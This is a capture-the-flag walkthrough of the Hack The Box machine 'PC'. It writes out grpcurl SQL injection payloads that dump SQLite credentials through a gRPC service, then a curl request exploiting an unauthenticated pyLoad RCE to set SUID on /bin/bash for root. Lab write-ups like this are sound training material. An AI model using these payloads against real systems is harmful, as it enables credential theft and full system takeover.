
HTB: PC
An exposed gRPC service on PC lets us register, grab a token, and SQL-inject the SimpleApp getInfo call to dump SQLite creds straight out of the database. Those log us in over SSH, and an outdated pyLoad (Cheroot) with an unauthenticated RCE lets us flip bash to SUID and walk straight to root.
Looking at our nmap scan, we see we have gRPC on port 50051 and SSH on 22. Let's probe that gRPC service with grpcurl.

grpcurl -plaintext 10.129.114.155:50051 describe

The app is called SimpleApp and we've got a couple of functions here. Let's describe each one.

Nice. Let's register ourselves an account and pull a token.

grpcurl -plaintext -v -d '{"username":"poealone","password":"poe123"}' 10.129.114.155:50051 SimpleApp/LoginUser

Now we have our token, let's hit the server and enumerate some more. A little SQL injection gives us info from the database. We'll stash the token in a variable to keep the commands clean.
TOKEN="<your JWT from the LoginUser response>"
grpcurl -plaintext -H "token: $TOKEN" -d '{"id":"0 UNION SELECT 1"}' 10.129.114.155:50051 SimpleApp/getInfo

We have one column, so let's drop the schema.
grpcurl -plaintext -H "token: $TOKEN" -d '{"id":"0 UNION SELECT group_concat(sql) FROM sqlite_master"}' 10.129.114.155:50051 SimpleApp/getInfo

That's great. Now let's dump the credentials.
grpcurl -plaintext -H "token: $TOKEN" -d '{"id":"0 UNION SELECT group_concat(username||\":\"||password) FROM accounts"}' 10.129.114.155:50051 SimpleApp/getInfo

Nice! Now let's use them on SSH.

Here we find the user.txt flag. Now let's enumerate for a privesc.

Let's check what's running on the box.

We spot a Cheroot server, and looking it up tells us this is the outdated pyLoad, which is vulnerable to unauthenticated command execution. Let's flip the bash binary to SUID and grab root.
curl -s -i -X POST http://127.0.0.1:8000/flash/addcrypted2 \
--data-urlencode 'package=xyz' \
--data-urlencode 'crypted=AAAA' \
--data-urlencode 'jk=pyimport os; os.system("chmod +s /bin/bash"); f=function f2(){};' \
--data-urlencode 'passwords=aaaa'

And now we grab the root.txt flag. This box was extremely easy and simple, it felt more like a PoC example for the outdated Cheroot with a little spice of the gRPC being exposed.
